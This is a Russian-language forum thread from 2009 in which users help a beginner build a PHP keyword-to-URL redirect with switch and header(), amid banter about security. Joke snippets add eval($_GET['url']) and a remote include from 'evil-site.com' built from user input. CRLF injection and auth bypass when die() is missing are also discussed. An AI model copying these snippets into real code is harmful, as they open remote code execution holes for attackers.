PDA

Просмотр полной версии : переход по заданному адресу [PHP]


Lionis
31.07.2009, 01:38
http://dl1.filehoster.ru/files/f4fd3a806eb2d4e83b2df12d406ff42f13d64097622a90673c 6fa316da/go.png

Здравствуйте !
Помогите решить проблему .
Есть поле ввода , и кнопка ok .
хочу сделать так чтобы при вводе определенного текста в поле переходило по заданному адресу .
например :
под словом - test - у нас переход по ссылке - http://www.google.com , а под словом test2 - www.yandex.ru , т.е. - после ввода test и нажатие ok мы переходим на http://www.google.com , ну естественно test2 - на Яндекс . А если такого не существует - переход на страницицу ... допустим - http://www.google.ru/error,
помогите правильно запрограмить . спасибо ! + всем кто ответит

rushter
31.07.2009, 01:54
<form>
<input type="text" name="url">
</form>
<?php
if(isset($_GET['url']))
{
switch($_GET['url'])
{
case "test":
header("location:http://google.ru");
break;
case "test2":
header("location:http://yandex.ru");
break;
default:
header("location:http://google.ru?error");
break;
}
}
?>

Pashkela
31.07.2009, 01:58
сразу 4 дыры - тему в болталку :D

Lionis
31.07.2009, 02:01
Вы бы не могли дописать до конца ... т.к. сам додумать не смогу ...
спасибо .

rushter
31.07.2009, 02:02
сразу 4 дыры - тему в болталку :D
Правда ? Научишь юзать ?

Pashkela
31.07.2009, 02:04
2 rushter:

Кривда. Только школьники уже не знают, что после

header("location:http://google.ru?error");

надо писать

or die('Ошибон');

дальше сам додумкаешь

br3k
31.07.2009, 02:06
CRLF Injection

Lionis
31.07.2009, 02:07
чет страница пустая ; (

<?php
switch($_GET['url'])
{
case "test":
header("location:http://google.ru");
break;
case "test2":
header("location:http://yandex.ru");
default:
header("location:http://google.ru?error");
or die('Ошибон');
break;
}
?>
<form name="form1" method="post" action="">
<label>
<input type="text" name="url" id="url">
</label>
<label>
<input type="submit" name="button" id="button" value="Submit">
</label>
</form>

Pashkela
31.07.2009, 02:08
<form name="form1" method="post" action="">
switch($_GET['url'])

ыыыы

немножко не так

GET на POST замени + если reg glob = off, то сначала присвой переменной значение:

$a = $_POST['url']

плюс почитай про isset:

http://ru2.php.net/isset

rushter
31.07.2009, 02:09
2 rushter:

Кривда. Только школьники уже не знают, что после

header("location:http://google.ru?error");

надо писать

or die('Ошибон');

дальше сам додумкаешь
Ты же сказал что это дыра,научи юзать!Зачем die юзать ,если есть default и в header ничего не передаётся ?

Spyder
31.07.2009, 02:12
я конечно извиняюсь за оффтоп
НО ЭТО ПИЗДЕЦ

пашкела, я твой фанат

delete from posts where username='Pashkela'

Pashkela
31.07.2009, 02:14
2 rushter:

Да не вопрос, первый пост темы:

http://forum.antichat.ru/thread56756-header(%22location.html

CTRL+F 'header("location' - два ENTER:))))

2 Spyder:

А тож:)

Lionis
31.07.2009, 02:15
ребят , ну help пж , выложить готовый кусок ... т.к. - не могу собрать все до кучи ... пустая страница .
спасибо .

rushter
31.07.2009, 02:16
ребят , ну help пж , выложить готовый кусок ... т.к. - не могу собрать все до кучи ... пустая страница .
спасибо .
Я поправил свой пост...
2 rushter:

Да не вопрос, первый пост темы:

http://forum.antichat.ru/thread56756-header(%22location.html

CTRL+F 'header("location' - два ENTER:))))

2 Spyder:

А тож:)
Продемострируй на данном коде эту язвимость.

Spyder
31.07.2009, 02:19
rushter, не забывай, ту есть особые условия
if(isset($_GET['url'])
{
eval($_GET['url']);
switch($_GET['url']))
{
case "test":
header("location:http://google.ru");
break;
case "test2":
header("location:http://yandex.ru");
default:
header("location:http://google.ru?error");
break;
}

Lionis
31.07.2009, 02:22
rushter но страница все еще пуста ... =(

Pashkela
31.07.2009, 02:25
Спроси у Спайдера, он точно знает :D :D :D

Lionis
31.07.2009, 02:27
Spyder , хел ситуэйшн =) плз , с меня + ; )
дай код

n0ne
31.07.2009, 02:28
Он просто пропустил скобочку одну, а одну лишнюю написал. Юзай error_reporting(E_ALL)


<form>
<input type="text" name="url">
</form>
<?php
if(isset($_GET['url']))
{
switch($_GET['url'])//)
{
case "test":
header("location:http://google.ru");
break;
case "test2":
header("location:http://yandex.ru");
default:
header("location:http://google.ru?error");
break;
}
}
?>

m0Hze
31.07.2009, 02:28
я конечно извиняюсь за оффтоп
НО ЭТО ПИЗДЕЦ

пашкела, я твой фанат

delete from posts where username='Pashkela'

А я твой :D

Spyder
31.07.2009, 02:30
я пшп не знаю)

n0ne
31.07.2009, 02:31
И ещё, вместо header(), здесь лучше юзай js:


<script type="text/javascript">
window.location = "http://www.google.com/"
</script>

Pashkela
31.07.2009, 02:31
да, js наше всё, особенно когда он отключен

n0ne
31.07.2009, 02:33
да, js наше всё, особенно когда он отключен

Наверняка это особые условия =(

Pashkela
31.07.2009, 02:36
2 n0ne:

Ты тоже мой фанат?:)

По сабжу - чем js тут лучше чем просто header('location:url') or die('be-be');???

n0ne
31.07.2009, 02:38
Pashkela, нет, ты меня бесишь и у тебя ублюдочная аватарка, помимо того, что просто клоун :-*

Ничем, просто здесь будет достаточно хтмл форму после пхп пустить, а когда кода много удобнее не гемороица и юзать js. Короче, просто мне так удобнее и привычнее.

Lionis
31.07.2009, 02:38
test пашет , а test2 вместо того чтобы на Yandex - выдаешь страницу ошибки google , как при условии неверного введения ...


<form>
<input type="text" name="url">
</form>
<?php
if(isset($_GET['url']))
{
switch($_GET['url'])//)
{
case "test":
header("location:http://google.ru");
break;
case "test2":
header("location:http://yandex.ru");
default;
header("location:http://google.ru?error");
break;
}
}
?>

rushter
31.07.2009, 02:40
test пашет , а test2 вместо того чтобы на Yandex - выдаешь страницу ошибки google , как при условии неверного введения ...


<form>
<input type="text" name="url">
</form>
<?php
if(isset($_GET['url']))
{
switch($_GET['url'])//)
{
case "test":
header("location:http://google.ru");
break;
case "test2":
header("location:http://yandex.ru");
default;
header("location:http://google.ru?error");
break;
}
}
?>


Мой код скопируй вверху который,тут break; не хватает.

n0ne
31.07.2009, 02:41
После header("location:http://yandex.ru"); добавь break;

Короче, вот готовый вариант:


<?php
if(isset($_GET['url']))
{
switch($_GET['url'])
{
case "test":
header("location:http://google.ru");
break;
case "test2":
header("location:http://yandex.ru");
break;
default:
header("location:http://google.ru?error");
break;
}
}
?>
<form>
<input type="text" name="url">
</form>

Pashkela
31.07.2009, 02:43
Pashkela, нет, ты меня бесишь и у тебя ублюдочная аватарка, помимо того, что просто клоун :-*

Ничем, просто здесь будет достаточно хтмл форму после пхп пустить, а когда кода много удобнее не гемороица и юзать js. Короче, просто мне так удобнее и привычнее.

Не, что бешу, это понятно, а если опять по сабжу - ну если javascript в браузере отключен, то что? Несмотря на то, что так привычней? Какие действия, как проверять будешь и etc. Я серьезно. Просто интересно, может пригодится

Spyder
31.07.2009, 02:45
ну да, тут серьёзная бага, если отключён js то можно попасть в эту часть кода

<form>
<input type="text" name="url">
</form>

а здесь уже сам понимкаешь и до заливки шелла недалеко

Lionis
31.07.2009, 02:46
rushter , n0ne , Spyder Большое вам спасибо ! Все работат - всем +10 , Pashkela ^_^

Pashkela
31.07.2009, 02:46
Spyder фишку рубит, но хотелось бы услышать n0ne

n0ne
31.07.2009, 02:47
Pashkela, юзать js в каком-то проекте не буду, буду юзать хэдеры или на крайняк, если уж совсем припрет - инклюдить meta-редирект

Pashkela
31.07.2009, 02:48
А, понятно. Ну, проблему автору темы решили, всем гуртом, и слава богу

Spyder
31.07.2009, 02:58
мне не за что спасибо, я ничем не поиог и пшп не знаю ввобще. в тему случайно попал

Pashkela
31.07.2009, 03:00
2 Spyder:

Ну как же, ты развил тему и предложил сразу два новых способа залить шелл - грины как всегда на высоте. Зачод

Spyder
31.07.2009, 03:10
такая вот у нас, у гринов, работа

m0Hze
31.07.2009, 03:17
Ура, теперь МОА тоже грины!

Ctacok
31.07.2009, 07:41
2 rushter:

Кривда. Только школьники уже не знают, что после

header("location:http://google.ru?error");

надо писать

or die('Ошибон');

дальше сам додумкаешь
Знаю :D

BlackSun
31.07.2009, 13:41
http://fsb-my.name/q5cyo5btlxq5.jpg

попугай
03.08.2009, 08:57
А зачем вообще die() после header() ?
Какая уязвимость может быть тут? Можно пример?

Spyder
03.08.2009, 12:51
попугай, в статье электа описано
Вообще багой это будет если например скрипт аплода файлов в админке проверяет залогинен ли ты, если не залогинен тебя ридеректает ява скриптом на login.php, но после редиректа не стоит die(), ты можешьи отправив запрос скриптом обойти эту проверку

Видимо Пашкела просто прочитал статью ничего не поняв и пытается доказать что в этом коде есть ужасная бага, т.к в данном скрипте ничего опасно нет, посты Пашкелы выглядят немного бредом.
Конечно не стоит забывать про особые обстоятельства

Twoster
03.08.2009, 13:14
Ув.Spyder, готов с Вами подискутировать на эту тему!
А если будет листинг кода подобный этому?

switch($_GET['url'])
{
case "test":
header("location:http://google.ru");
include('http://evil-site.com/'.$_GET['url'].'.txt')
break;
case "test2":
header("location:http://yandex.ru");
default:
header("location:http://google.ru?error");
or die('Ошибон :D');
break;
}

тогда этот буквально как решето!!! всего лишь нужно похекать сайт http://evil-site.com/, и залить туда шелл с именем test.txt и все!!! Мы похеканы! а вот был бы код такой :

case "test":
header("location:http://google.ru");
die();
include('http://evil-site.com/'.$_GET['url'].'.txt')
break;


Мы бы были защищены! =)
Ты просто не знаешь особых условий, чтобы switch сделать инклудом

GreenBear
03.08.2009, 13:19
<?php
if(isset($_REQUEST['url'])) {
switch($_REQUEST['url']]) {
case 'test':
header("Location: http://goggle.com");
break;
case 'test2':
header("Location: http://yandex.ru");
break;
default:
header("Location: http://google.com/error");
break;
}
exit;
}
?>
<form>
<input type="text" name="url">
<input type="submit">
</form>

GreenBear
03.08.2009, 13:21
ебаный насос, да вы тут развели 5 страниц на 5 строк кода. даже не заметил.

Spyder
03.08.2009, 13:26
GreenBear, ппц, ты не в курсе что у тебя в коде 4 баги? Забыл что надо die() ставить? Вступай в наш фан-клуб, узнаешь как писать безопасный код

GreenBear
03.08.2009, 13:28
:'( http://i64.servimg.com/u/f64/12/44/55/09/legend10.gif

попугай
03.08.2009, 13:28
попугай, в статье электа описано
Вообще багой это будет если например скрипт аплода файлов в админке проверяет залогинен ли ты, если не залогинен тебя ридеректает на login.php, но после редиректа не стоит die(), ты можешьи отправив запрос скриптом обойти эту проверку



Да статью я читал и не раз.. но тем не менее не могу понять в чем уязвимость...

Вот например такой код из твоего примера...

if(!$logged){
header('location: url');
}else{
move_upload_file();
}

Какая тут уязвимость может быть?......

GreenBear
03.08.2009, 13:29
попугай, вы тут все какую - то ересь несете ))

Twoster
03.08.2009, 13:33
попугай, просто нужно понять, что с "определенными обстоятельствами" любой код уязвим! И вообще как предложил один знающий человек, в данной ситуации нужно вообще писать

<?php
die();

// далее код

?>


[/offtop]